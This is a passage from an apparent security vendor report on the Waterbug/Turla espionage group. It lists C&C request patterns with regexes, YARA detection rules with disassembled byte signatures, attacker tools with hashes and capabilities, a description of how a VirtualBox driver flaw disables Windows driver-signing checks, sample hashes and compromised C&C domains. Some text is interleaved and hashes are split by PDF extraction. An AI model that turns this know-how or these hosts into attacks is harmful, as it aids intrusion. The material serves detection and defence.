gMPg4SRv4Fu3%2buvlIWPlWbSH4%2bAkYeBasPDi4zk9oA6g4%2fLxN3fwSaDj8vE3d%2fBJoOPy8T%3d%3d
• /index/index.php?h=2BhzAaseIe4%3d&d=2CATdiJFmO7YGXwzmy0Z3uovSjifKBXb6CxzAaseIe7YGHMBqx5%
3d
Regex
• .*(/index/index.php?h=.*&d=.*).*
Pattern ten
Earlier variants of Trojan.Wipbot/Tavdig C&C communication:
GET /auth.cgi?mode=query&id=[IDENTIFIER]&serv=[DOMAIN]&lang=en&q=[RANDOM
NUMBERS]-[RANDOM NUMBERS]&date=[DATE]
Regex
• .*(/auth.cgi?mode=query&id=).*
Pattern eleven
C&C communication to retrieve tasks for Uroburos 2009/2013 samples:
GET /default.asp?act=[IDENTIFIER]&id=[IDENTIFIER]&item=[IDENTIFIER]&event _
id=[EVENT ID]&cln=[IDENTIFIER]&flt=[CHECKSUM]&serv=[DOMAIN]&t=[EPOCH TIMESTAMP]

&mode=query&lang=en&date=[DATE]
Regex
• .*(/default.asp?act=.*&id=).*
Yara signatures
Trojan.Wipbot 2014 core PDF
rule wipbot _ 2013 _ core _ PDF{
strings:
$PDF = “%PDF-”
$a = /+[A-Za-z]{1}. _ _ $+[A-Za-z]{1}. _ $ _ +/
$b = /+[A-Za-z]{1}.$$$ _ +/
condition:
($PDF at 0) and #a > 150 and #b > 200
}
Trojan.Wipbot 2013 DLL
rule wipbot _ 2013 _ dll {
meta:
description = “Down.dll component”
strings:
$string1 = “/%s?rank=%s”
$string2 = “ModuleStartx00ModuleStopx00start”
$string3 = “1156fd22-3443-4344-c4ffff”
//read file... error..
$string4 = “readx20filex2Ex2Ex2Ex20errorx00x00”
condition:
2 of them
}
Trojan.Wipbot 2013 core component
rule wipbot _ 2013 _ core {
meta:
description = “core + core; garbage appended data (PDF Exploit
leftovers) + wipbot dropper; fake AdobeRd32 Error”
strings:
$mz = “MZ”
/*
8947 0C MOV DWORD PTR DS:[EDI+C], EAX
C747 10 90C20400 MOV DWORD PTR DS:[EDI+10], 4C290
C747 14 90C21000 MOV DWORD PTR DS:[EDI+14], 10C290
C747 18 90906068 MOV DWORD PTR DS:[EDI+18], 68609090
894F 1C MOV DWORD PTR DS:[EDI+1C], ECX
C747 20 909090B8 MOV DWORD PTR DS:[EDI+20], B8909090
894F 24 MOV DWORD PTR DS:[EDI+24], ECX
C747 28 90FFD061 MOV DWORD PTR DS:[EDI+28], 61D0FF90
C747 2C 90C20400 MOV DWORD PTR DS:[EDI+2C], 4C290
*/
$code1 = { 89 47 0C C7 47 10 90 C2 04 00 C7 47 14 90 C2 10 00
C7 47 18 90 90 60 68 89 4F 1C C7 47 20 90 90 90 B8 89 4F 24
C7 47 28 90 FF D0 61 C7 47 2C 90 C2 04 00}

/*
85C0 TEST EAX, EAX
75 25 JNZ SHORT 64106327.00403AF1
8B0B MOV ECX, DWORD PTR DS:[EBX]
BF ???????? MOV EDI, ????????
EB 17 JMP SHORT 64106327.00403AEC
69D7 0D661900 IMUL EDX, EDI, 19660D
8DBA 5FF36E3C LEA EDI, DWORD PTR DS:[EDX+3C6EF35F]
89FE MOV ESI, EDI
C1EE 10 SHR ESI, 10
89F2 MOV EDX, ESI
301401 XOR BYTE PTR DS:[ECX+EAX], DL
40 INC EAX
3B43 04 CMP EAX, DWORD PTR DS:[EBX+4]
72 E4 JB SHORT 64106327.00403AD5
*/
$code2 = { 85 C0 75 25 8B 0B BF ?? ?? ?? ?? EB 17 69 D7 0D 66
19 00 8D BA 5F F3 6E 3C 89 FE C1 EE 10 89 F2 30 14 01 40 3B
43 04 72 E4}
$code3 = {90 90 90 ?? B9 00 4D 5A 90 00 03 00 00 00 82 04}
$code4 = {55 89 E5 5D C3 55 89 E5 83 EC 18 8B 45 08 85 C0}
condition:
$mz at 0 and (($code1 or $code2) or ($code3 and $code4))
}
Trojan.Turla dropper
rule turla _ dropper{
strings:
$a = {0F 31 14 31 20 31 3C 31 85 31 8C 31 A8 31 B1 31
D1 31 8B 32 91 32 B6 32 C4 32 6C 33 AC 33 10 34}
$b = {48 41 4C 2E 64 6C 6C 00 6E 74 64 6C 6C 2E 64 6C
6C 00 00 00 57 8B F9 8B 0D ?? ?? ?? ?? ?? C9 75
26 56 0F 20 C6 8B C6 25 FF FF FE FF 0F 22 C0 E8}
condition:
all of them
}
Trojan.Turla DLL
rule turla _ dll{
strings:
$a = /([A-Za-z0-9]{2,10} _ ){,2}Win32.dllx00/
condition:
pe.exports(“ee”) and $a
}
FA
rule fa{
strings:
$mz = “MZ”
$string1 = “C:projdriversfa _ 2009objfrei386atmarpd.pdb”

$string2 = “d:projcnfa64”
$string3 = “sengoku _ Win32.sysx00”
$string4 = “rk _ ntsystem.c”
$string5 = “uroboros”
$string6 = “shell.{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}”
condition:
($mz at 0) and (any of ($string*))
}
SAV dropper
rule sav _ dropper{
strings:
$mz = “MZ”
$a = /[a-z]{,10} _ x64.sysx00hMZx00/
condition:
($mz at 0) and uint32(0x400) == 0x000000c3 and pe.number _ of _ sections
== 6 and $a
}
SAV
rule sav{
strings:
$mz = “MZ”
/*
8B 75 18 mov esi, [ebp+arg _ 10]
31 34 81 xor [ecx+eax*4], esi
40 inc eax
3B C2 cmp eax, edx
72 F5 jb short loc _ 9F342
33 F6 xor esi, esi
39 7D 14 cmp [ebp+arg _ C], edi
76 1B jbe short loc _ 9F36F
8A 04 0E mov al, [esi+ecx]
88 04 0F mov [edi+ecx], al
6A 0F push 0Fh
33 D2 xor edx, edx
8B C7 mov eax, edi
5B pop ebx
F7 F3 div ebx
85 D2 test edx, edx
75 01 jnz short loc _ 9F368
*/
$code1a = { 8B 75 18 31 34 81 40 3B C2 72 F5 33 F6
39 7D 14 76 1B 8A 04 0E 88 04 0F 6A 0F 33 D2 8B C7
5B F7 F3 85 D2 75 01 }
/*
8B 45 F8 mov eax, [ebp+var _ 8]
40 inc eax
89 45 F8 mov [ebp+var _ 8], eax
8B 45 10 mov eax, [ebp+arg _ 8]
C1 E8 02 shr eax, 2
39 45 F8 cmp [ebp+var _ 8], eax
73 17 jnb short loc _ 4013ED
8B 4D F4 mov ecx, [ebp+var _ C]

8B 04 81 mov eax, [ecx+eax*4]
33 45 20 xor eax, [ebp+arg _ 18]
8B 4D F8 mov ecx, [ebp+var _ 8]
8B 55 F4 mov edx, [ebp+var _ C]
89 04 8A mov [edx+ecx*4], eax
EB D7 jmp short loc _ 4013C4
83 65 F8 00 and [ebp+var _ 8], 0
83 65 EC 00 and [ebp+var _ 14], 0
EB 0E jmp short loc _ 401405
40 inc eax
89 45 F8 mov [ebp+var _ 8], eax
8B 45 EC mov eax, [ebp+var _ 14]
40 inc eax
89 45 EC mov [ebp+var _ 14], eax
8B 45 EC mov eax, [ebp+var _ 14]
3B 45 10 cmp eax, [ebp+arg _ 8]
73 27 jnb short loc _ 401434
8B 45 F4 mov eax, [ebp+var _ C]
03 45 F8 add eax, [ebp+var _ 8]
8B 4D F4 mov ecx, [ebp+var _ C]
03 4D EC add ecx, [ebp+var _ 14]
8A 09 mov cl, [ecx]
88 08 mov [eax], cl
33 D2 xor edx, edx
6A 0F push 0Fh
59 pop ecx
F7 F1 div ecx
85 D2 test edx, edx
75 07 jnz short loc _ 401432
*/
$code1b = { 8B 45 F8 40 89 45 F8 8B 45 10 C1 E8 02
39 45 F8 73 17 8B 45 F8 8B 4D F4 8B 04 81 33 45 20
8B 4D F8 8B 55 F4 89 04 8A EB D7 83 65 F8 00 83 65
EC 00 EB 0E 8B 45 F8 40 89 45 F8 8B 45 EC 40 89 45
EC 8B 45 EC 3B 45 10 73 27 8B 45 F4 03 45 F8 8B 4D
F4 03 4D EC 8A 09 88 08 8B 45 F8 33 D2 6A 0F 59 F7
F1 85 D2 75 07 }
/*
8A 04 0F mov al, [edi+ecx]
88 04 0E mov [esi+ecx], al
6A 0F push 0Fh
33 D2 xor edx, edx
8B C6 mov eax, esi
5B pop ebx
F7 F3 div ebx
85 D2 test edx, edx
75 01 jnz short loc _ B12FC
47 inc edi
8B 45 14 mov eax, [ebp+arg _ C]
46 inc esi
47 inc edi
3B F8 cmp edi, eax
72 E3 jb short loc _ B12E8
EB 04 jmp short loc _ B130B
C6 04 08 00 mov byte ptr [eax+ecx], 0
48 dec eax
3B C6 cmp eax, esi

73 F7 jnb short loc _ B1307
33 C0 xor eax, eax
C1 EE 02 shr esi, 2
74 0B jz short loc _ B1322
8B 55 18 mov edx, [ebp+arg _ 10]
31 14 81 xor [ecx+eax*4], edx
40 inc eax
3B C6 cmp eax, esi
72 F5 jb short loc _ B1317
*/
$code1c = { 8A 04 0F 88 04 0E 6A 0F 33 D2 8B C6 5B F7 F3
85 D2 75 01 47 8B 45 14 46 47 3B F8 72 E3 EB 04 C6 04 08
00 48 3B C6 73 F7 33 C0 C1 EE 02 74 0B 8B 55 18 31 14 81
40 3B C6 72 F5}
/*
29 5D 0C sub [ebp+arg _ 4], ebx
8B D1 mov edx, ecx
C1 EA 05 shr edx, 5
2B CA sub ecx, edx
8B 55 F4 mov edx, [ebp+var _ C]
2B C3 sub eax, ebx
3D 00 00 00 01 cmp eax, 1000000h
89 0F mov [edi], ecx
8B 4D 10 mov ecx, [ebp+arg _ 8]
8D 94 91 00 03 00 00 lea edx, [ecx+edx*4+300h]
73 17 jnb short loc _ 9FC44
8B 7D F8 mov edi, [ebp+var _ 8]
8B 4D 0C mov ecx, [ebp+arg _ 4]
0F B6 3F movzx edi, byte ptr [edi]
C1 E1 08 shl ecx, 8
0B CF or ecx, edi
C1 E0 08 shl eax, 8
FF 45 F8 inc [ebp+var _ 8]
89 4D 0C mov [ebp+arg _ 4], ecx
8B 0A mov ecx, [edx]
8B F8 mov edi, eax
C1 EF 0B shr edi, 0Bh
*/
$code2 = { 29 5D 0C 8B D1 C1 EA 05 2B CA 8B 55 F4 2B C3
3D 00 00 00 01 89 0F 8B 4D 10 8D 94 91 00 03 00 00 73 17
8B 7D F8 8B 4D 0C 0F B6 3F C1 E1 08 0B CF C1 E0 08 FF 45
F8 89 4D 0C 8B 0A 8B F8 C1 EF 0B}
condition:
($mz at 0) and (($code1a or $code1b or $code1c) and $code2)
}
ComRAT
rule comrat{
strings:
$mz = “MZ”
$b = {C645????}
$c = {C685??FEFFFF??}
$d = {FFA0??0?0000}
$e = {89A8??00000068??00000056FFD78B}
$f = {00004889????030000488B}
condition:
($mz at 0) and ((#c > 200 and #b > 200 ) or (#d > 40) and (#e > 15
or #f > 30))
}

Waterbug tools
Symantec identified a number of tools used by the Waterbug group. Table 4 details the tools and lists their
associated MD5 hashes.
Table 4. Tools used by the Waterbug group
File name MD5 File path
tcpdump32c.exe • 9bec941bec02c7fbe037a97db8c89f18
• 6ce69e4bec14511703a8957e90ded1fa
• 1c05164fede51bf947f1e78cba811063
• 5129c26818ef712bde318dff970eba8d
• bdce0ed65f005a11d8e9a6747a3ad08c
• Used for lateral movement across victim’s network
• Reads prt.ocx as its configuration file
• May use results from other tools like mspd32.exe to get to-
kens/ntlm hashes to access resources from victim’s network
• Can scan for open ports from a list of targeted computers or
from a given Active Directory domain
• Can copy and execute files on remote computers found in the
network
• There are several command line parameters that the file can
accept and the most notable ones are:
• /exp:dns — possible DNS exploit
• /exp:08067 — seems to be capable of exploiting the
Microsoft Windows Server Service RPC Handling Remote
Code Execution Vulnerability Vulnerability (CVE-2008-
4250). Needs another parameter which is the path to the
exploit binary to use
• /rputfile —possibly copying file to a targeted computer
• /rfile — possibly a remote file execute or remote log file
• /lfile — local logfile/userlist. Accepts user name and
password for accessing remote computers in the tar-
geted network /scanport
• Has encrypted binary files in its resource
mspd32.exe e04ad0ec258cbbf94910a677f4ea54f0928d0e-
f4c17f0be21f2ec5cc96182e0c
• Used in access privilege elevation attacks and the dumping of
SAM through the DLL found in its resource section
• Communication is made through named pipe resources
typecli.exe d686ce4ed3c46c3476acf1be0a1324
msc32.exe 22fb51ce6e0bc8b52e9e3810ca9dc2e1 • Unknown
dxsnd32x.exe df06bde546862336ed75d8da55e7b1c-
ca85616aec82078233ea25199c56680
36b7d80000100f2cb50a37a8a5f21b-
185f552a8e8d60731022dcb5a89fd4f313e-
ca1ecf883627a207ed79d0fd103534576560f-
47c8c50598760914310c6411d3b1b28cbcd-
6998091f903c06a0a46a0fd8db0952e130f-
6f8ad207998000a42531dec04190d-
c190b6002f064e3d13ac22212959ed-
9d60a8f645fd46b7c7a9b-
62870c305801a809b7d9136ab483682e26d-
52de5a9fc45ab11dd0845508d122a6c8c8c
• Main purpose is to get details of compromised computer,
such as OS version, service pack, host name, network adapter
information (physical address, IP address)
msnetsrv.exe • bf0e4d46a51f27493cbe47e1cfb1b2ea
• 22149a1ee21e6d60758fe58b34f04952
• Used to gather information process lists, installed programs,
browser history, and list of recently accessed files (through
registry)
• Checks for F-Secure installation
• Compresses and encrypt swinview.xml
pxinsi64.exe • f156ff2a1694f479a079f6777f0c5af0 • 64-bit driver possibly used by vboxdev_win32.dll
• Exploits vulnerability to load unsigned drivers
mswme32.exe • eb40189cde69d60ca6f9a3f0531dbc5e • Collects files with extensions (.*library, *.inf, *.exe, .*dll, .*dot)
• Encrypts with Trojan.Turla XOR key
• Compresses into .cab file
• Writes entry to vtmon.bin file
• Copies compressed file to %System%win.com for exfiltration
• Can execute files
msnetserv.exe • 56f423c7a7fef041f3039319f2055509
• 22149a1ee21e6d60758fe58b34f04952
• Same as mswme32.exe
msnet32.exe • eb40189cde69d60ca6f9a3f0531dbc5e • Same as mswme32.exe

Additional exploits used
Waterbug exploits several weaknesses in Windows and a device driver vulnerability to load an unsigned driver on
the x64 Windows platform. The vulnerabilities used are as follows:
• Sun xVM VirtualBox ‘VBoxDrv.sys’ Local Privilege Escalation Vulnerability (CVE-2008-3431)
• Microsoft Windows #GP Trap Handler Local Privilege Escalation Vulnerability (CVE-2010-0232)
• Microsoft Windows Argument Validation Local Privilege Escalation Vulnerability (CVE-2009-1125)
Sun xVM VirtualBox ‘VBoxDrv.sys’ Local Privilege Escalation Vulnerability (CVE-
2008-3431)
This vulnerability lets attackers get access to the g_CiEnabled flag which is supposed to be protected. This
vulnerability is used by most of the driver-based exploits.
Attackers can exploit a device IO vulnerability in the VBoxDrv.sys driver to set the g_CiEnabled flag to 0, allowing
any driver to be installed without performing code-signing checks.
The g_CiEnabled is a Windows flag that sets or resets when the computer restarts. This flag indicates whether
Windows should validate digital signatures before loading a driver. By default, x64 computers only allow signed
drivers to be installed. A pseudo-code description of SepInitializeCodeIntegrity follows:
VOID SepInitializeCodeIntegrity()
{
DWORD CiOptions;
g _ CiEnabled = FALSE;
if(!InitIsWinPEMode)
g _ CiEnabled = TRUE;
The g_CiEnabled flag is set when the computer restarts, depending on whether the computer is being booted in
WinPE mode or not. Furthermore, whenever a driver is being loaded after the computer restarts, the operating
system checks for this flag before validating the signature in the SeValidateImageHeader() function. In order
to load the unsigned Uroburos driver, the attackers first gain access to the g_CiEnabled flag and then set it to
zero. This resets the code-signing policy on the computer. However, resetting the flag requires kernel privileges.
Because of this, the malware exploits a device IO vulnerability from an already signed driver (VBoxDrv.sys) to
rpcsrv.exe • 20c9df1e5f426f9eb7461cd99d406904 • RPC server using ncacn_np identifier and binds to pipe
hello
• Has several log strings pertaining to HTTP file downloads, list
HTTP requests, list HTTP connections, remote HTTP requests
• Can be used as a proxy
charmap32.exe • ed3509b103dc485221c85d865fafafac • Executes msinfo32.exe /nfo and direct output to winview.nfo
• Creates cab file by compressing winview.nfo to winview.ocx
• Deletes winview.nfo
• Reads & encrypts contents of cab file using common XOR
mqsvc32.exe • 09886f7c1725fe5b86b28dd79bc7a4d1 • Capable of sending exfiltrated data through email using
MAPI32.dll
msrss.exe • fb56ce4b853a94ae3f64367c02ec7e31 • Registers as a service “svcmgr” with display name ‘Windows
Svcmgr’
• Compiled with OpenSSL 1.0.0d 8 Feb 2011
• Can spawn command line shell process and send results to
C&C through SSL
• May read/write shell results to msrecda.dat
dc1.exe • fb56ce4b853a94ae3f64367c02ec7e31 • Same as msrss.exe
svcmgr.exe • fb56ce4b853a94ae3f64367c02ec7e31 • Same as msrss.exe
msx32.exe • 98992c12e58745854a885f9630124d3e • Used to encrypt file (supplied as argument on command line)
using common Trojan.Turla XOR key
• Output written to [FILE NAME].XOR

reset the flag.
Based on Symantec’s analysis of a few driver exploits available on the internet and in the vboxdrv_win32.dll
code, we see that in order to again access to g_CiEnabled, the sample first loads the ntoskrnl.exe image. The
malware then uses ci.dll to locate the CiInitialize() function address and finally the address of the g_CiEnabled
flag.
The vboxdrv_win32.dll file has the signed VirtualBox driver (eaea9ccb40c82af8f3867cd0f4dd5e9d) embedded in
it. It loads this legitimate driver and then exploits the vulnerability to disable code-signing policy.
Microsoft Windows #GP Trap Handler Local Privilege Escalation Vulnerability
(CVE-2010-0232)
The ms10_025_win32.dll file exploits a privilege escalation vulnerability in the #GP trap handler. The exploit
works by executing debug.exe and then injecting a thread in this NTVDM subsystem.
MS09-025 Local privilege escalation vulnerability (CVE-2009-1125)
The ms09-025_win32.dll file exploits a local privilege escalation vulnerability to gain administrative privileges on
the system.
Samples
Table 5 contains a list of samples associated with the Waterbug group.
Table 5. Samples associated with the Waterbug group
Threat family Timestamp MD5 Domain
Initial infector
(UI present)
4c65126ae52cadb76ca1a9cfb8b4ce74
Initial infector
(UI present)
6776bda19a3a8ed4c2870c34279dbaa9
Initial infector
(UI present)
dba209c99df5e94c13b1f44c0f23ef2b
Initial infector
(UI present)
f44b1dea7e56b5eac95c12732d9d6435
Initial infector
(UI present)
1970-01-01
18:12:16
030f5fdb78bfc1ce7b459d3cc2cf1877
Initial infector
(UI present)
1970-01-01
18:12:16
0f76ef2e6572befdc2ca1ca2ab15e5a1
Initial infector
(UI present)
1970-01-01
18:12:16
7c52c340ec5c6f57ef2fd174e6490433
Initial infector
(UI present)
1970-01-01
18:12:16
c7617251d523f3bc4189d53df1985ca9
Initial infector
(UI present)
2014-01-13
12:37:45
1c3634c7777bd6667936ec279bac5c2a
Initial infector
(UI present)
2014-01-13
12:41:49
4d667af648047f2bd24511ef8f36c9cc
Initial infector
(UI present)
2014-02-05
14:37:32
626955d20325371aca2742a70d6861ab
Initial infector
(UI present)
2014-02-05
14:37:32
80323d1f7033bf33875624914a6a6010
Initial infector
(UI present)
2014-02-05
14:39:27
77083b1709681d43a1b0503057b6f096

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FA 2009 4161f09f9774bd28f09b2725fd7594d6
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53b59dffce657b59872278433f9244a2
Carbon 2009 2014-02-26
13:37:00
e6d1dcc6c2601e592f2b03f35b06fa8f
Carbon 2009 2014-02-26
13:37:48
554450c1ecb925693fedbb9e56702646
Carbon 2009 2014-02-26
13:39:03
244505129d96be57134cb00f27d43
59c
Carbon 2009 2014-02-26
13:39:52
4ae7e6011b-
550372d2a73ab3b4d67096
Carbon 2009 2014-02-26
13:39:52
ea23d67e41d1f0a7f7e7a8b59e7cb60f
Carbon 2009 2014-02-26
13:43:19
43e896ede6fe025ee90f7f27c6d376a4
Carbon 2009 2014-02-26
13:43:30
4c1017de62ea4788c7c8058a8f825a2d
Carbon 2009 2014-02-26
13:43:51
91a5594343b47462ebd6266a9c40ab-
be
Carbon 2009 2014-02-26
13:44:01
df230db9bddf200b24d8744ad84d80e8
Carbon 2009 2014-02-26
13:44:20
cb1b68d9971c2353c2d6a8119c49b51f soheylistore.ir:80:/modules/mod_feed/feed.php
tazohor.com:80:/wp-includes/feed-rss-comments.php
jucheafrica.com:80:/wp-includes/class-wp-edit.php
61paris.fr:80:/wp-includes/ms-set.php
Carbon 2009 2014-07-02
19:56:22
3ab8d9eef5c32b5f8f6e4068710bd9e5
Carbon 2009 2014-07-02
19:56:22
6b6b979a4960d-
279b625378025e729cc
Carbon 2009 2014-07-02
19:58:56
c466c5f8d127adb17fbc0c5182ecb118
Carbon 2009 2014-07-02
20:03:35
4c9e3ba2eda63e1be6f30581920230f0
Carbon 2009 2014-08-12
09:41:18
66962d3e0f00e7713c0e1483b4bf4b19
SAV [possibly
compiled from
pre-2011 sources]
2012-01-13
05:20:20
6e8bd431ef91d76e757650239fa478a5
SAV [possibly
compiled from
pre-2011 sources]
2012-01-13
05:20:20
f613fd96294515aaee3a2663d3b034c1
SAV [possibly
compiled from
pre-2011 sources]
2012-01-13
05:20:20
f86afb092e4b1a364ed6f6bc7f81db74

SAV 2011 2786525baa5f2f2569ca15caff1ebf86
SAV 2011 7a1348838ab5fe3954cb9298e65bfbee
SAV 2011 a6fdf333606aef8c10d7e78444721c02
SAV 2011 1970-01-01
00:00:00
368d20edfd287e5ea3bb664a90e1a95e
SAV 2011 2008-05-31
02:18:53
eaea9ccb40c82af8f3867cd0f4dd5e9d
SAV 2011 2011-06-24
07:47:59
ed785bbd156b61553aaf78b6f71fb37b
SAV 2011 2011-06-24
07:47:59
edd5fd7cf3b22fa4ea956d1a447520ff
SAV 2011 2011-06-24
07:49:41
320f4e6ee421c1616bd058e73cfea282
SAV 2011 2011-06-24
07:49:41
40aa66d9600d82e6c814b-
5307c137be5
SAV 2011 2011-06-24
07:49:41
5036c44fbe7a99a0bddc9f05f7e9df77
SAV 2011 2011-06-24
07:49:41
60ec7a1c72f0775561819aa7681cf1ac
SAV 2011 2011-06-24
07:49:41
c62e2197ac81347459e07d6b-
350be93a
SAV 2011 2011-06-24
07:49:41
e265cd3e813d38d44e0fb7d84af24b4e
SAV 2011 2011-06-24
07:49:41
f4f192004df1a4723cb9a8b4a9eb2fbf
SAV 2011 2011-06-24
07:49:41
fb56784a109272bda77f241b06e4f850
SAV 2011 2011-10-26
05:04:06
4bd507e64c289d6687901baf16f6bbd7
SAV 2011 2011-10-26
05:04:06
e32d9e04c04c0c7e497905b5dcba7e50
SAV 2011 2011-10-26
05:04:06
ff411fc323e6652fcc0623fa1d9cb4d3
SAV 2011 2012-12-07
08:54:53
0565fc9cad0a9d3474fc8b6e69395362
SAV 2011 2012-12-07
08:54:53
ccb1b0e7ccd603c6cefc838c4a6fa132
SAV 2011 2013-02-04
13:17:56
69fc2ef72b3b0f30460b67d0201eef6e
SAV 2011 2013-02-04
13:17:56
90478f6ed92664e0a6e6a25ecfa8e395
SAV 2011 2013-02-04
13:17:59
10254385e980f8b0784e13a5153e4f17
SAV 2011 2013-02-04
13:17:59
3e521e7d5b1825d8911fff9317503e13
SAV 2011 2013-02-04
13:17:59
b46c792c8e051bc5c9d4cecab96e4c30
SAV 2011 2013-02-04
13:18:09
2702e709eaae31c9255f812592d06932
SAV 2011 2013-02-04
13:18:09
5f8f3cf46719afa7eb5f761cdd18b63d

SAV 2011 2013-02-04
13:18:09
c58ab0bec0ebaa0440e1f64aa9dd91b3
SAV 2011 2013-02-04
13:18:10
2b47ad7df9902aaa19474723064ee76f
SAV 2011 2013-02-04
13:18:10
bd2fdaff34112cbfdfb8a0da75a92f61
SAV 2011 2013-02-04
13:18:10
ea3d1ee0dd5da37862ba81f468c44d2a
SAV 2011 2013-02-04
13:19:09
f156ff2a1694f479a079f6777f0c5af0
SAV 2011 2013-02-04
13:19:14
83b9eeffc9aad9d777dd9a7654b3637e
SAV 2011 2013-02-04
13:19:14
a22150576ca5c95c163fea4e4e750164
SAV 2011 2013-02-04
13:19:21
607d8fe2f3c823d961b95da106e9df5f
SAV 2011 2013-02-04
13:19:21
626576e5f0f85d77c460a322a92bb267
SAV 2011 2013-02-04
13:19:25
5cc5989e870b23915280aee310669ccb
SAV 2011 2013-02-04
13:19:25
611bbfb33b4b405d5d76a5519632f99a
SAV 2011 2013-02-04
13:19:25
8c4029bbd9dfb1093fb9cca3db01f8ff
SAV 2011 2013-02-04
13:19:25
8cf1c23e71783a4fb00005e569253d6d
SAV 2011 2013-02-04
13:19:31
1d4ec94509aa1cb53148eb715facae76
SAV 2011 2013-02-04
13:19:31
209bfa50786096328934ad1dc62a4ec3
SAV 2011 2013-02-04
13:19:31
a655b19814b74086c-
10da409c1e509c0
SAV 2011 2013-02-04
13:19:53
1538246b770e215781e730297ce
db071
SAV 2011 2013-02-04
13:19:53
199661f25577f69592e8caea76166605
SAV 2011 2013-02-04
13:19:53
3889a23e-
449362a34ba30d85089407c8
SAV 2011 2013-02-04
13:19:53
3c1a8991e96f4c56ae3e90fb6f0ae679
SAV 2011 2013-02-04
13:19:53
4535025837bebae-
7a04eb744383a82d7
SAV 2011 2013-02-04
13:19:59
1c6c857fa17ef0aa3373ff16084f2f1c
SAV 2011 2013-02-04
13:19:59
1f7e40b81087dbc2a65683eb25df72c4
SAV 2011 2013-02-04
13:20:02
119f2d545b167745fc6f71aed1f117f6
SAV 2011 2013-02-04
13:20:02
750d2f5d99d69f07c6cee7d4cbb45e3f
SAV 2011 2013-02-04
13:20:04
01829c159b-
be25083b8d382f82b26672
SAV 2011 2013-02-04
13:20:04
3de8301147da3199e-
422b28bb782e2a9
SAV 2011 2013-02-04
13:20:04
a762d2c56999eda5316d0f94aba940cb

SAV 2011 2013-02-04
13:20:04
f3858dc203da418474b5033a912170c0
SAV 2011 2013-02-04
13:20:04
f57c84e22e9e6eaa6cbd9730d7c652dc
SAV 2011 2013-02-04
13:20:05
083c95e8ffa48f7da5ae82b0bd79db1b
SAV 2011 2013-02-04
13:20:05
380bb5b8c750c7252948dc0890
1c0487
SAV 2011 2013-02-04
13:20:05
64adad7c7965a0abc87a1cbc6c77b558
SAV 2011 2013-02-04
13:20:05
8cd392a5b62c44dd88c6b847db428fba
SAV 2011 2013-02-04
13:20:05
d4fb3ec5951a89a573445058012d7dcd
SAV 2011 2013-02-08
12:12:45
01c90932794c9144fa6c842e2229e4ec
SAV 2011 2013-02-08
12:12:45
24ad996024bb9b2321550ab-
f348e009d
SAV 2011 2013-02-08
12:12:45
921ad714e7fb01aaa8e9b960544e0d36
SAV 2011 2013-02-08
12:12:45
e183bfd93326f77f7596dcc41064a7c8
SAV 2011 2013-02-08
12:12:49
96fff289cc939d776a1198f460717aff
SAV 2011 2013-02-08
12:12:49
eb621eeecafd25a15e999fe786470bf4
SAV 2011 2013-02-08
12:12:58
a231056fcc095d0f853e49f47988e46e
SAV 2011 2013-02-08
12:12:58
ff8071d7147c4327e17c95824bb7315f
SAV 2011 2013-02-08
12:13:00
465eed02d1646a3ad20c43b9f0bbe2e9
SAV 2011 2013-02-08
12:13:00
4c4e1a130bb2cea63944b589fc212e1f
SAV 2011 2013-02-08
12:13:00
70dc1e25493940e959fd1f117e60a90c
SAV 2011 2013-02-08
12:13:08
4f42fe8c67214c7ab5c9f8d6a8ed2c9c
SAV 2011 2013-02-08
12:13:08
6095f71f699ff30bba2321d433e91e1d
SAV 2011 2013-02-08
12:13:08
a86ac0ad1f8928e8d4e1b728448f54f9
SAV 2011 2013-02-08
12:13:18
22d01fa2725ad7a83948f399144563f9
SAV 2011 2013-02-08
12:13:18
3f4d37277737c118ecda5e90418597a5
SAV 2011 2013-02-08
12:13:18
498f9aa4992782784f49758c81679d0a
SAV 2011 2013-02-08
12:13:18
bb4e92c27d52fb8514a133629c4c7b05
SAV 2011 2013-02-08
12:13:19
5ede9cb859b40fb01cf1efb6ad32a5f1
SAV 2011 2013-02-08
12:13:19
aa9b4a7faa33c763275d2888fbf0f38b
SAV 2011 2013-02-08
12:13:22
b19d41bec36be0e54f8740855c309c85

SAV 2011 2013-02-08
12:13:22
ee58e5434b0cabaff8aba84ed1526d8d
SAV 2011 2013-02-08
12:13:26
199fa4ef7c88271882d81618d82acd0a
SAV 2011 2013-02-08
12:13:26
29f39297bd068b0b3f0ceb01abc1fa90
SAV 2011 2013-02-08
12:13:26
335387e729499ff7d46c25477e9c8c5a
SAV 2011 2013-02-08
12:13:26
58c5f766ef18df552a8b39dab9d29d2a
SAV 2011 2013-02-08
12:13:26
e224fd7563b9c7893566018204be820c
SAV 2011 2013-05-14
10:42:23
b2a9326bc421581dc60a03b97ee7ffce
SAV 2011 2013-05-14
10:42:23
c6c475d7678c1a3ccbba987042c08fdf
SAV 2011 2013-10-04
13:07:42
02eb0ae7bfa899d80a6e8d14603a1774
SAV 2011 2013-10-04
13:07:42
41acf7f9e821d087781d9f69c5a08eb8
SAV 2011 2013-10-04
13:07:42
ddc439cae6bd6d68157e4d28b14be68c
SAV 2011 2013-10-04
13:07:42
f65c36b49b3d1ad0074124b-
d31c74b50
SAV 2011 2014-03-21
06:41:54
24f2b8ed1bab204f00dc49a76c4aa722
SAV 2011 2014-03-21
06:41:54
43af46ba9015a06cc8ffaac6105ea732
SAV 2011 2014-03-21
06:41:54
9c1199662869706e1361b3cc1df1f8b6
SAV 2011 2014-03-21
06:41:53
101e57e655cd70de09fdb5dc6660a861
SAV 2011 2014-03-21
06:41:53
36986f7dedc83c8ea3fbd6a51bd594b2
SAV 2011 2014-03-21
06:41:53
463c217df2ea75f98cb4d02b8b688318
SAV 2011 2014-03-21
06:41:53
ce184ef045f4b0eb47df744ef54df7bc
SAV 2011 2014-03-21
06:41:53
efdaf1460ce9e62bde6b98ae4749cf56
SAV 2011 2014-03-21
06:41:53
fcaebfbad36d66627c3e1c72f621131a
ComRAT 2013-01-03
00:37:57
255118ac14a9e66124f7110acd16f2cd
ComRAT 2013-01-03
00:55:06
8d4f71c3ec9a7a52904bbf30d0ad7f07
ComRAT 2013-01-03
18:03:16
7592ac5c1cf57c3c923477d8590b6384
ComRAT 2013-01-03
18:03:45
b407b6e5b4046da226d6e189a67f62ca
ComRAT 2013-01-03
18:14:51
0ae421691579ff6b27f65f49e79e88f6
Generic 24a13fc69075025615de7154c3f5f83f
Generic 3189de1ff1f8afed0f70e352dfcd2abb

Trojan.Turla C&C servers
Symantec has sinkholed a number of C&C servers used by the Waterbug group. Table 6 details the C&C servers
that Symantec has identified.
Generic a4791944d-
